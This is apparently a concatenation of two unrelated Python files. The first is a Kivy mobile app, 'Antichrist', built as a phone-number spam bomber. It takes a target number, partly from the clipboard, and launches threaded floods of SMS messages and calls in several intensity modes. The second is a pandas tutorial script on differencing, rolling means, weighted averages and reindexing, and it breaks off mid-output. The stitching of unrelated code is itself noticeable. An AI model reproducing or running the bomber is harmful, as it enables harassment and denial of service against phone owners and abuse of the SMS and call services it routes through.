import os
import re
import sys
import time
import requests
import threading
import webbrowser
import kivy.utils

from kivymd.app import MDApp
from kivy.lang import Builder
from kivymd.toast import toast
from kivy.core.window import Window
from kivy.animation import Animation
from kivy.core.clipboard import Clipboard

from StructService import Distribution_Service

Window.keyboard_anim_args = {'d': .2, 't': 'in_out_expo'}
Window.softinput_mode = "below_target"
attack_number_phone=Distribution_Service()

data_dead = {'hours':144, 'minutes':13, 'sec':13}

def ads(target='https://t.me/adsantichristblog'):
    try:
        ads_channel=requests.get(target)
        content=ads_channel.content.decode('UTF-8')
        result_text_ads=content[230:280]
        result_text_ads=result_text_ads[:result_text_ads.rfind('*')]
        return result_text_ads
    except Exception:
        return 't.me/antichristone'

def send_call():
    attack_number_phone.call_next_service()

def send_message(only_sms=None):
    if only_sms == None:
        attack_number_phone.random_service()

    elif only_sms == True:
        attack_number_phone.sms_random_service()

def send_message_next(only_sms=None):
    if only_sms == None:
        attack_number_phone.next_service()

    elif only_sms == True:
        attack_number_phone.sms_next_service()

class AntichristApp(MDApp):
    def __init__(self, **kwargs):
        super().__init__(**kwargs)
        self.configuration_screen = {'special_abilities':None, 'style':None, 'hell':None, 'my_style':None}
        self.start_hell = None;self.queries_color = None;self.storage = None
        self.configuration_app(way='/storage/emulated/0/AntichristOne')

        if self.configuration_screen['hell'] == ['True']:
            self.dead_time = {'sec':1, 'minute':60, 'hour':3600}
            self.start_hell = True
            self.link_th = False

            hell_activity=open('style.kv', 'r').read()
            hell_activity=hell_activity.replace("source: 'image_files/lilith.jpg'", "source: 'hell.jpg'")

            self.screen = Builder.load_string(hell_activity)
            self.screen.ids.title.pos_hint = {"center_x": 8, "center_y": 8}
            self.screen.ids.target.pos_hint = {"center_x": 8, "center_y": 8}
            self.screen.ids.menu_button.pos_hint = {"center_x": 8, "center_y": 8}
            self.screen.ids.button_attack_cancel.pos_hint = {"center_x": 8, "center_y": 8}
            self.screen.ids.what_button.pos_hint = {"center_x": 8, "center_y": 8}
            self.screen.ids.link_tg.pos_hint = {"center_x": 8, "center_y": 8}

            self.screen.ids.you_dead_data.pos_hint = {"center_x": 0.5, "center_y": 0.6}

            with open('style_configuration/hell', 'w') as stop_hell:
                stop_hell.write('None')

            self.you_dead()

        if self.start_hell == None:

            if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:

                start_my_style=open('style.kv', 'r').read()

                photo=self.configuration_screen['my_style'][11][self.configuration_screen['my_style'][11].rfind(':')+1:]
                if os.path.isfile(photo) == True:
                    start_my_style=start_my_style.replace("source: 'image_files/lilith.jpg'", f"source: '{photo}'")

                    self.title = str(self.configuration_screen['my_style'][1][self.configuration_screen['my_style'][1].rfind(':')+1:])
                    start_my_style=start_my_style.replace('text: "[color=#fedcff]Antichrist[/color]"' ,f'text: "[color={self.title}]Antichrist[/color]"')

                    phone_number_color = str(self.configuration_screen['my_style'][2][self.configuration_screen['my_style'][2].rfind(':')+1:])
                    start_my_style=start_my_style.replace('line_color_focus: utils.get_color_from_hex(self.phone_number_color)', f'line_color_focus: utils.get_color_from_hex("{phone_number_color}")')
                    start_my_style=start_my_style.replace('line_color_normal: utils.get_color_from_hex(self.phone_number_color)', f'line_color_normal: utils.get_color_from_hex("{phone_number_color}")')

                    menu_mode = str(self.configuration_screen['my_style'][3][self.configuration_screen['my_style'][3].rfind(':')+1:])
                    start_my_style=start_my_style.replace('md_bg_color: utils.get_color_from_hex(self.menu_mode_color)', f'md_bg_color: utils.get_color_from_hex("{menu_mode}")')

                    menu_mode_text = str(self.configuration_screen['my_style'][4][self.configuration_screen['my_style'][4].rfind(':')+1:])
                    start_my_style=start_my_style.replace('text_color: utils.get_color_from_hex(self.menu_mode_color_text)', f'text_color: utils.get_color_from_hex("{menu_mode_text}")')

                    attack_color = str(self.configuration_screen['my_style'][5][self.configuration_screen['my_style'][5].rfind(':')+1:])
                    start_my_style=start_my_style.replace('md_bg_color: utils.get_color_from_hex(self.attack_color)', f'md_bg_color: utils.get_color_from_hex("{attack_color}")')

                    attack_color_text = str(self.configuration_screen['my_style'][6][self.configuration_screen['my_style'][6].rfind(':')+1:])
                    start_my_style=start_my_style.replace('text_color: utils.get_color_from_hex(self.attack_color_text)', f'text_color: utils.get_color_from_hex("{attack_color_text}")')

                    what_color = str(self.configuration_screen['my_style'][7][self.configuration_screen['my_style'][7].rfind(':')+1:])
                    start_my_style=start_my_style.replace('md_bg_color: utils.get_color_from_hex(self.what_color)', f'md_bg_color: utils.get_color_from_hex("{what_color}")')

                    what_color_text = str(self.configuration_screen['my_style'][8][self.configuration_screen['my_style'][8].rfind(':')+1:])
                    start_my_style=start_my_style.replace('text_color: utils.get_color_from_hex(self.what_color_text)', f'text_color: utils.get_color_from_hex("{what_color_text}")')

                    self.queries_color = str(self.configuration_screen['my_style'][9][self.configuration_screen['my_style'][9].rfind(':')+1:])

                    self.link_tg_color = self.configuration_screen['my_style'][10][self.configuration_screen['my_style'][10].rfind(':')+1:]
                    start_my_style=start_my_style.replace("text: '[color=#fedcff]t.me/antichristone[/color]'", f"text: '[color={self.link_tg_color}]t.me/antichristone[/color]'")

                    self.screen = Builder.load_string(start_my_style)
                else:
                    self.screen = Builder.load_file('style.kv')
            else:
                self.screen = Builder.load_file('style.kv')
            self.link_th = True

        self.target_status_666 = True
        self.status = None
        self.click = 0
        self.mode = 'Ultra'
        self.what = 'Mix'
        self.attack_number_phone = attack_number_phone
        self.label = self.screen.ids.label
        self.links = self.screen.ids.link_tg
        self.open = 'https://t.me/antichristone'

        if self.configuration_screen['hell'] == ['False']:
            threading.Thread(target=self.target_666).start()

        if self.link_th == True:
            threading.Thread(target=self.start_link, args=(10,)).start()

    def configuration_app(self, way='/storage/emulated/0/AntichristOne'):
        self.configuration_screen['hell'] = open('style_configuration/hell', 'r').read().split()
        self.configuration_screen['my_style'] = open('style_configuration/my_style', 'r').read().split()
        self.configuration_screen['special_abilities'] = open('style_configuration/special_abilities', 'r').read().split()

        if self.configuration_screen['special_abilities'] == ['False']:
            pass

        else:
            if os.path.isdir(way) == False:
                try:
                    os.mkdir(way)
                    with open(f'{way}/my_style', 'w') as config:
                        config.write(open('style_configuration/my_style', 'r').read())

                    self.storage = True
                except Exception:
                    self.storage = False

            elif os.path.isdir(way) == True:
                try:
                    self.configuration_screen['my_style'] = open(f'{way}/my_style', 'r').read().split()
                    self.storage = True
                except Exception:
                    self.storage = False

    def link(self):
        webbrowser.open(self.open)

    def welcom_to_hell_activity(self, action=None):
        if action == 'hell':
            self.screen.ids.title.font_size = 95

            if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                if self.title == None:
                    self.screen.ids.title.text = f"[color=#fedcff]Dangerously[/color]"
                else:
                    self.screen.ids.title.text = f"[color={self.title}]Dangerously[/color]"
            else:
                self.screen.ids.title.text = f"[color=#fedcff]Dangerously[/color]"

            self.screen.ids.button_attack_cancel.text = 'Death awaits you'

            Animation(welcome_to_hell=0.5, duration=1.0).start(self.screen.ids.button_attack_cancel)
            Animation(what_button_anim=6.0, duration=3.0).start(self.screen.ids.what_button)
            Animation(menu_button_anim=-6.0, duration=3.0).start(self.screen.ids.menu_button)

        elif action == 'cancel':
            self.screen.ids.title.font_size = 120

            if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                if self.title == None:
                    self.screen.ids.title.text = f"[color=#fedcff]Antichrist[/color]"
                else:
                    self.screen.ids.title.text = f"[color={self.title}]Antichrist[/color]"
            else:
                self.screen.ids.title.text = f"[color=#fedcff]Antichrist[/color]"

            self.screen.ids.button_attack_cancel.text = 'Attack'

            Animation(welcome_to_hell=0.3, duration=1.0).start(self.screen.ids.button_attack_cancel)
            Animation(what_button_anim=0.8, duration=2.0).start(self.screen.ids.what_button)
            Animation(menu_button_anim=0.2, duration=2.0).start(self.screen.ids.menu_button)

    def target_666(self):
        self.hell666_status = None
        while self.target_status_666:
            time.sleep(0.5)
            if self.screen.ids.target.text == '666':
                if self.hell666_status == True:
                    pass
                else:
                    self.welcom_to_hell_activity(action='hell')
                    self.hell666_status = True
            else:
                if self.hell666_status == True:
                    self.welcom_to_hell_activity(action='cancel')
                    self.hell666_status = False

    def left_to_live(self, date):
        if date == 'hours':
            while self.you_dead_status:
                time.sleep(self.dead_time['hour'])
                data_dead['hours']=data_dead['hours'] - 1

        elif date == 'minutes':
            while self.you_dead_status:
                time.sleep(self.dead_time['minute'])
                if data_dead['minutes'] == 0:
                    data_dead['hours']=data_dead['hours'] - 1
                    data_dead['minutes']=data_dead['minutes'] = 60

                data_dead['minutes']=data_dead['minutes'] - 1

        elif date == 'sec':
            while self.you_dead_status:
                time.sleep(self.dead_time['sec'])
                if data_dead['sec'] == 0:
                    if data_dead['minutes'] == 0:
                        if data_dead['hours'] == 0:
                            break;self.you_dead_status=False
                        data_dead['hours']=data_dead['hours'] - 1
                        data_dead['minutes']=data_dead['minutes'] = 60

                    data_dead['minutes']=data_dead['minutes'] - 1
                    data_dead['sec']=data_dead['sec'] = 60

                data_dead['sec']=data_dead['sec'] - 1

                self.label.text = f"[color=#cc235f]{data_dead['hours']}:{data_dead['minutes']}:{data_dead['sec']}[/color]"

    def you_dead(self):
        self.you_dead_status = True
        threading.Thread(target=self.left_to_live, args=('sec',)).start()
        threading.Thread(target=self.left_to_live, args=('minutes',)).start()
        threading.Thread(target=self.left_to_live, args=('hours',)).start()

    def start_link(self, timer):
        time.sleep(timer)

        while self.link_th:
            new_text=ads()
            self.open='http://'+new_text[new_text.rfind(':')+2:]

            if self.link_th == False:
                break

            time.sleep(6);Animation(center_y_1=-2, duration=2).start(self.links)
            if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                self.links.text = f'[color={self.link_tg_color}]'+str(new_text)+'[/color]'

            else:
                self.links.text = f'[color=#fedcff]'+str(new_text)+'[/color]'

            time.sleep(9);Animation(center_y_1=0.2, duration=2).start(self.links)

    def hell_666(self):
        self.click += 1

        if self.click > 13:
            if self.click == 66:
                self.link_th = False

                with open('style_configuration/special_abilities', 'w') as special_abilities:
                    special_abilities.write('True')

                self.status = False
                self.link_th = False
                self.target_status_666 = False
                sys.exit(1)

            toast(f'{66-self.click}')

    def bufer(self, bufer=None, widget=None):
        if self.configuration_screen['special_abilities'] == ['False']:
            if self.configuration_screen['hell'] in [['False'],['None']]:
                self.hell_666()

        if self.screen.ids.target.text.lower() == 'antichrist':
            widget.text = 'I love you!'

        if bufer == True:
            phone=''
            for xxx in re.findall(r"[0-9]+", Clipboard.paste()):
                phone+=xxx
            phone='+'+phone

            try:
                if isinstance(int(phone[1:]), int):
                    if widget.text == '':
                        if len(phone) > 6:
                            widget.text = phone
            except Exception:
                pass

    def label_threading(self, timer):
        time.sleep(timer)
        toast('Clear')
        self.label.text = ' '

    def modes(self, mode_widget=None):
        if mode_widget.text == 'Ultra':
            toast('Mode: Light')
            mode_widget.text = 'Light'
            self.mode = 'Light'

        elif mode_widget.text == 'Light':
            toast('Mode: Hard')
            mode_widget.text = 'Hard'
            self.mode = 'Hard'

        elif mode_widget.text == 'Hard':
            toast('Mode: Ultra')
            mode_widget.text = 'Ultra'
            self.mode = 'Ultra'

    def whats(self, what_widget=None):
        if what_widget.text == 'Mix':
            toast('Only Call')
            what_widget.text = 'Call'
            self.what = 'Call'

        elif what_widget.text == 'Call':
            toast('Only SMS')
            what_widget.text = 'SMS'
            self.what = 'SMS'

        elif what_widget.text == 'SMS':
            toast('All inclusive')
            what_widget.text = 'Mix'
            self.what = 'Mix'

    def threding_attack_ultra(self):
        x_count = 0
        if self.what == 'Mix':
            while self.status:
                try:
                    threading.Thread(target=send_message).start()
                    threading.Thread(target=send_message).start()
                    threading.Thread(target=send_message).start()
                    threading.Thread(target=send_message).start()
                    x_count += 4
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]{str(x_count)}[/color]"

                        threading.Thread(target=send_message_next).start()
                        x_count += 1

                        self.label.text = f"[color={self.queries_color}]{str(x_count)}[/color]"

                    else:
                        self.label.text = f"[color=#fdb3ff]{str(x_count)}[/color]"

                        threading.Thread(target=send_message_next).start()
                        x_count += 1

                        self.label.text = f"[color=#fdb3ff]{str(x_count)}[/color]"

                except Exception:
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]ERROR[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]ERROR[/color]"

        elif self.what == 'Call':
            while self.status:
                try:
                    self.label.text = f"[color=#fdb3ff]{str(x_count)}[/color]"
                    threading.Thread(target=send_call).start()
                    x_count += 1
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]{str(x_count)}[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]{str(x_count)}[/color]"
                    time.sleep(0.5)
                except Exception as e:
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]ERROR[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]ERROR[/color]"

        elif self.what == 'SMS':
            while self.status:
                try:
                    threading.Thread(target=send_message, args=(True, )).start()
                    threading.Thread(target=send_message, args=(True, )).start()
                    threading.Thread(target=send_message, args=(True, )).start()
                    threading.Thread(target=send_message, args=(True, )).start()
                    x_count += 4

                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]{str(x_count)}[/color]"

                        threading.Thread(target=send_message_next, args=(True, )).start()
                        x_count += 1
                        self.label.text = f"[color={self.queries_color}]{str(x_count)}[/color]"

                    else:
                        self.label.text = f"[color=#fdb3ff]{str(x_count)}[/color]"
                        threading.Thread(target=send_message_next, args=(True, )).start()
                        x_count += 1
                        self.label.text = f"[color=#fdb3ff]{str(x_count)}[/color]"

                except Exception:
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]ERROR[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]ERROR[/color]"

    def threding_attack_hard(self):
        x_count = 0
        if self.what == 'Mix':
            while self.status:
                try:
                    threading.Thread(target=send_message).start()
                    threading.Thread(target=send_message).start()
                    x_count += 2
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]{str(x_count)}[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]{str(x_count)}[/color]"
                except Exception as e:
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]ERROR[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]ERROR[/color]"

        elif self.what == 'Call':
            while self.status:
                try:
                    threading.Thread(target=send_call).start()
                    x_count += 1
                    time.sleep(3)
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]{str(x_count)}[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]{str(x_count)}[/color]"
                except Exception as e:
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]ERROR[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]ERROR[/color]"

        elif self.what == 'SMS':
            while self.status:
                try:
                    threading.Thread(target=send_message, args=(True, )).start()
                    threading.Thread(target=send_message, args=(True, )).start()
                    x_count += 2
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]{str(x_count)}[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]{str(x_count)}[/color]"
                except Exception as e:
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]ERROR[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]ERROR[/color]"

    def threding_attack_light(self):
        x_count = 0
        if self.what == 'Mix':
            while self.status:
                try:
                    threading.Thread(target=send_message_next).start()
                    time.sleep(0.6)
                    x_count += 1
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]{str(x_count)}[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]{str(x_count)}[/color]"
                    time.sleep(0.9)
                except Exception as e:
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]ERROR[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]ERROR[/color]"

        elif self.what == 'Call':
            while self.status:
                try:
                    threading.Thread(target=send_call).start()
                    x_count += 1
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]{str(x_count)}[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]{str(x_count)}[/color]"
                    time.sleep(6)
                except Exception as e:
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]ERROR[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]ERROR[/color]"

        elif self.what == 'SMS':
            while self.status:
                try:
                    threading.Thread(target=send_message_next, args=(True,)).start()
                    time.sleep(0.6)
                    x_count += 1
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]{str(x_count)}[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]{str(x_count)}[/color]"
                    time.sleep(0.9)
                except Exception as e:
                    if [self.configuration_screen['my_style'][0], self.storage] == ['True', True]:
                        self.label.text = f"[color={self.queries_color}]ERROR[/color]"
                    else:
                        self.label.text = f"[color=#fdb3ff]ERROR[/color]"

    def attack(self, attack=None):
        self.button_attack_cancel = self.screen.ids.button_attack_cancel
        if self.button_attack_cancel.text == 'Attack':
            try:
                if isinstance(int(attack.text[1:]), int):
                    toast('Start spam-attack!')
                    if self.mode == 'Ultra':
                        self.button_attack_cancel.text = 'Stop'
                        self.status = True
                        self.target = attack.text
                        self.attack_number_phone.phone(self.target)
                        self.thred_z=threading.Thread(target=self.threding_attack_ultra)
                        self.thred_z.start()

                    elif self.mode == 'Hard':
                        self.button_attack_cancel.text = 'Stop'
                        self.status = True
                        self.target = attack.text
                        self.attack_number_phone.phone(self.target)
                        self.thred_z=threading.Thread(target=self.threding_attack_hard)
                        self.thred_z.start()

                    elif self.mode == 'Light':
                        self.button_attack_cancel.text = 'Stop'
                        self.status = True
                        self.target = attack.text
                        self.attack_number_phone.phone(self.target)
                        self.thred_z=threading.Thread(target=self.threding_attack_light)
                        self.thred_z.start()
            except Exception:
                pass

        elif self.button_attack_cancel.text == 'Stop':
            toast('Stop spam-attack!')
            self.button_attack_cancel.text = 'Attack'
            self.status = False
            threading.Thread(target=self.label_threading, args=(10, )).start()
            self.button_attack_cancel.text = 'Attack'

        elif self.button_attack_cancel.text == 'Death awaits you':
            with open('style_configuration/hell', 'w') as death:
                self.status = False
                self.link_th = False
                self.target_status_666 = False
                death.write('True')

            sys.exit(1)

    def build(self):
        return self.screen

if __name__ == '__main__':
    AntichristApp().run()


# reference from: http://machinelearningmastery.com/difference-time-series-dataset-python/

import numpy as np
import pandas as pd
import matplotlib
import matplotlib.pyplot as plt
# from pandas.tseries.offsets import *

def parser(x):
	return pd.datetime.strptime('190'+x, '%Y-%m')

# test with shampoo-sales.csv
series = pd.read_csv('shampoo-sales.csv', header=0, parse_dates=[0], index_col=0, squeeze=True, date_parser=parser)
print(series)
print(len(series))
print(type(series))

def dfc_manual(dataset, interval=1):
	'''interval = lag'''
	diff = list()
	for i in range(interval, len(dataset)):
		value = dataset[i] - dataset[i-interval]
		diff.append(value)
	return pd.Series(diff)

def dfc_test():
	# diff = dfc_manual(series.values)
	diff = series.diff() 	# built-in diff() library

	plt.plot(diff)
	plt.show()

	window = 6
	s = pd.Series.diff(series[::window])/window # the slope over each window

	print(s)
	plt.plot(s)
	plt.show()
dfc_test()

def offset_output():
	d = pd.datetime(2017, 6, 19, 3, 4)
	offset = BMonthEnd()
	print(d, offset.rollforward(d), offset.rollback(d))
# offset_output()

# reference from: https://pandas.pydata.org/pandas-docs/stable/generated/pandas.Series.rolling.html
def rolling_output():
	'''smoothing method'''

	## rolling vs resampling:
	### both are window operations: rolling is time-based, resampling is frequency-based.
	### https://pandas.pydata.org/pandas-docs/stable/computation.html#time-aware-rolling-vs-resampling

	## available tuning parameters
	### window: 1) size of the moving window -- the # of observations used for calculating the statistic; each window will be a fixed size, int. 2) offset -- the time period of each window; each window will have a variable sized based on the observations included in the time-period, only valid for datetimelike indexes, offset.

	### min_periods: minimum # of observations in window required to have a value, int, default 1.
	### center: set the labels at the center of the window, boolean, default False (right edge of the window).
	### win_type: window type, string, default None.
	### on: for a DataFrame, choose which column to calculate the rolling window on rather than the index, string.
	### closed: interval closure option, options: 'right', 'left', 'both', 'neither; default to 'right'.
	### axis: int or string, default 0 (row)

	sr0 = series
	plt.plot(sr0, label="raw")

	# 1) compare pd.Series.rolling(data).apply(func), pd.rolling_apply(data, func), data.rolling(win_type).func() methods:
	## the results vizs are the same given the functions the same;
	## there are limited func() in data.rolling(win_type).func() but more choices in win_type; ## pd.rolling_apply() will be deprecated in future;
	## func can be customized as a lambda expression.
	## Thus recommend using pd.Series.rolling(data).apply(func) and data.rolling(win_type).func() when having specific requirements in win_type.
	# note: there is no func() called median for Windows object.

	# compare centered vs not centered: there is a left shift for the centered from the not centered one.

	sr1 = pd.Series.rolling(sr0, window=4, center=True).apply(func=np.mean)
	plt.plot(sr1, label="series_rolling_apply_mean", linestyle='-.')

	# sr10 = pd.rolling_apply(sr0, window=4, func=np.mean)
	# plt.plot(sr10, label="rolling_apply_mean_not_centered", linestyle='-.')

	sr11 = sr0.rolling(window=4, center=True).mean()
	plt.plot(sr11, label="rolling_mean", linestyle=':')

	# sr12 = sr0.rolling(window=4).mean()
	# plt.plot(sr12, label="rolling_mean_not_centered", linestyle=':')

	sr13 = sr0.rolling(window=4, center=True).median()
	plt.plot(sr13, label="rolling_median", linestyle=':')

	sr14 = sr0.rolling('60d').mean()
	plt.plot(sr14, label="rolling_mean_by_time_units_60days", linestyle=':')

	# 2) compare different window_type for the data.rolling(win_type).func() function.
	# win_type_paras = ['triang', 'boxcar', 'blackman']
	# rollings2 = [sr0.rolling(window=4, win_type=p, center=True).mean() for p in win_type_paras]
	# for r,p in zip(rollings2, win_type_paras):
	# 	plt.plot(r, label="rolling_mean_{}".format(p), linestyle='--')

	# sr21 = sr0.rolling(window=4, win_type='gaussian', center=True).mean(std=0.5)
	# plt.plot(sr21, label="rolling_mean_gaussian", linestyle='--')

	# sr22 = sr0.rolling(window=4, win_type='general_gaussian', center=True).mean(power=1, std=0.5, width=2)
	# plt.plot(sr22, label="rolling_mean_general_gaussian_p1_std050", linestyle='--')

	# sr23 = sr0.rolling(window=4, win_type='general_gaussian', center=True).mean(power=2, std=0.5, width=2)
	# plt.plot(sr23, label="rolling_mean_general_gaussian_p2_std050", linestyle='--')

	# sr24 = sr0.rolling(window=4, win_type='general_gaussian', center=True).mean(power=2, std=0.05, width=2)
	# plt.plot(sr24, label="rolling_mean_general_gaussian_p2_std005", linestyle='--')

	# sr25 = sr0.rolling(window=4, win_type='general_gaussian', center=True).mean(power=0.05, std=0.5, width=2)
	# plt.plot(sr25, label="rolling_mean_general_gaussian_p005_std05", linestyle='--')

	# 3) compare different window sizes
	## cmap = matplotlib.cm.autumn
	# cmap = matplotlib.cm.get_cmap('autumn_r') # trick: reverse the colormap color
	# norm = matplotlib.colors.Normalize(vmin=0, vmax=10)
	# windows = [1,3,5,7,9]
	# rollings3 = [pd.Series.rolling(sr0, window=i, center=True).apply(func=np.mean) for i in windows]
	# for r,w in zip(rollings3, windows):
	# 	plt.plot(r, label="series_rolling_apply_mean_win{}".format(w), linestyle=':', color=cmap(norm(w)))

	plt.legend()
	plt.show()
# rolling_output()

def weighted_output():
	'''
		2 ways of doing it: data.groupby.apply(), data.groupby.agg(); np.average(data, weights)
		reference: http://pbpython.com/weighted-average.html
				   https://docs.scipy.org/doc/numpy-1.12.0/reference/generated/numpy.average.html
	'''
	# load the data
	sales = pd.read_excel("sales-estimate.xlsx")
	print(sales.head())

	# # 1) data.groupby.apply()
	# ## normal mean
	# mean = sales.groupby("Manager")["Current_Price"].mean()
	# print(mean)

	# ## weighted mean
	# def wavg(group, avg_name, weight_name):
	# 	data = group[avg_name]
	# 	weight = group[weight_name]
	# 	try:
	# 		return (data*weight).sum()/weight.sum()
	# 	except ZeroDivisionError:
	# 		return data.mean()
	# mean_weighted_groupby = sales.groupby("Manager").apply(wavg, "Current_Price", "Quantity")
	# print(mean_weighted_groupby)

	# ## weighted_mean multiple criteria
	# mean_weighted_mul = sales.groupby(["Manager", "State"]).apply(wavg, "Current_Price", "Quantity")
	# print(mean_weighted_mul)

	# ## multiple aggregations - different measures for different columns, yet the measures are limited to what functions have.
	# m = {'New_Product_Price':['mean'], 'Current_Price':['median'], 'Quantity':['sum', 'mean']}
	# mean_mul_agg = sales.groupby(["Manager","State"]).agg(m)
	# print(mean_mul_agg)

	# ## to customize multiple aggregations, so far can only combine results by hard-coding
	# mean_new_product_price = sales.groupby("Manager").apply(wavg, "New_Product_Price", "Quantity")
	# mean_current_price = sales.groupby("Manager").apply(wavg, "Current_Price", "Quantity")
	# mean_manual_agg = pd.DataFrame(data=dict(c1=mean_new_product_price, c2=mean_current_price))
	# mean_manual_agg.columns = ["New_Product_Price", "Current_Price"]
	# print(mean_manual_agg.head())

	# 2) use np.average(data, weights)
	## weighted mean without group
	mean_weighted_np = np.average(sales["Current_Price"], weights=sales["Quantity"])
	print(mean_weighted_np)

	## weighted mean with group
	mean_weighted_np_grouped = sales.groupby("Manager").apply(lambda x: np.average(x['New_Product_Price'], weights=x['Quantity']))
	print(mean_weighted_np_grouped)

# weighted_output()

def reindex_output():
	'''
		np.reindex() method
		reference: https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.reindex.html
	'''
	# fill in the missing value with specific value
	# index0 = ['Firefox', 'Chrome', 'Safari', 'IE10', 'Konqueror']
	# df0 = pd.DataFrame({'http_status':[200,200,404,404,301], 'response_time':[0.04, 0.02, np.NaN, 0.08, 1.0]}, index=index0)
	# index1 = ['Safari', 'Iceweasel', 'Comodo Dragon', 'IE10', 'Chrome']
	# df11 = df0.reindex(index1)
	# df12 = df0.reindex(index1, fill_value='missing')	# note if the previously existing value is np.NaN, fill_value method will not change the result.
	# print(df0)
	# print(df11)
	# print(df12)

	# fill in the missing value with estimated value, only for monotonically increasing/decreasing index. Note: regardless whether the old index appears in the new reindexed series, the old values always affect the filling value in the reindexed series.
	date_index0 = pd.date_range('5/22/2017', periods=12, freq='7D')
	df3 = pd.DataFrame({"prices":range(6)+[np.NaN, np.NaN]+range(8,12)}, index=date_index0)
	print(df3)
	#             prices
	# 2017-05-22     0.0
	# 2017-05-29     1.0
	# 2017-06-05     2.0
	# 2017-06-12     3.0
	# 2017-06-19     4.0
	# 2017-06-26     5.0
	# 2017-07-03     NaN
	# 2017-07-10     NaN
	# 2017-07-17     8.0
	# 2017-07-24     9.0
	# 2017-07-31    10.0
	# 2017-08-07    11.0

	date_index1 = pd.date_range('6/22/2017', periods=19, freq='2D')
	df40 = df3.reindex(date_index1) # note it will only include what the new index covers.
	print(df40)
	# 2017-06-22     NaN
	# 2017-06-24     NaN
	# 2017-06-26     5.0	<- original
	# 2017-06-28     NaN
	# 2017-06-30     NaN
	# 2017-07-02     NaN
	# 2017-07-04     NaN
	# 2017-07-06     NaN
	# 2017-07-08     NaN
	# 2017-07-10     NaN	<- original
	# 2017-07-12     NaN
	# 2017-07-14     NaN
	# 2017-07-16     NaN
	# 2017-07-18     NaN
	# 2017-07-20     NaN
	# 2017-07-22     NaN
	# 2017-07-24     9.0	<- original
	# 2017-07-26     NaN
	# 2017-07-28     NaN

	df41 = df3.reindex(date_index1, method='bfill') # 'bfill' means use the next valid observation to fill gap
	print("backfill/bfill")
	print(df41)
	#             prices
	# 2017-06-22     5.0
	# 2017-06-24     5.0
	# 2017-06-26     5.0	<- original
	# 2017-06-28     NaN
	# 2017-06-30     NaN
	# 2017-07-02     NaN
	# 2017-07-04     NaN
	# 2017-07-06     NaN
	# 2017-07-08     NaN
	# 2017-07-10     NaN	<- original
	# 2017-07-12     8.0
	# 2017-07-14     8.0
	# 2017-07-16     8.0
	# 2017-07-18     9.0
	# 2017-07-20     9.0
	# 2017-07-22     9.0
	# 2017-07-24     9.0	<- original
	# 2017-07-26    10.0
	# 2017-07-28    10.0

	df42 = df3.reindex(date_index1, method='ffill') # 'ffill' means propagate last valid observation forward to next valid
	print("pad/ffill")
	print(df42)
	#             prices
	# 2017-06-22     4.0
	# 2017-06-24     4.0
	# 2017-06-26     5.0	<- original
	# 2017-06-28     5.0
	# 2017-06-30     5.0
	# 2017-07-02     5.0
	# 2017-07-04     NaN
	# 2017-07-06     NaN
	# 2017-07-08     NaN
	# 2017-07-10     NaN	<- original
	# 2017-07-12     NaN
	# 2017-07-14     NaN
	# 2017-07-16     NaN
	# 2017-07-18     8.0
	# 2017-07-20     8.0
	# 2017-07-22     8.0
	# 2017-07-24     9.0	<- original
	# 2017-07-26     9.0
	# 2017-07-28     9.0

	df43 = df3.reindex(date_index1, method='nearest') # 'nearest' means use the nearest valid observation
	print("nearest")
	print(df43)
	#             prices
	# 2017-06-22     4.0
	# 2017-06-24     5.0
	# 2017-06-26     5.0	<- original
	# 2017-06-28     5.0
	# 2017-06-30     NaN
	# 2017-07-02     NaN
	# 2017-07-04     NaN
	# 2017-07-06     NaN
	# 2017-07-08     NaN
	# 2017-07-10     NaN	<- original
	# 2017-07-12     NaN
	# 2017-07-14     8.0
	# 2017-07-16     8.0
	# 2017-07-18     8.0
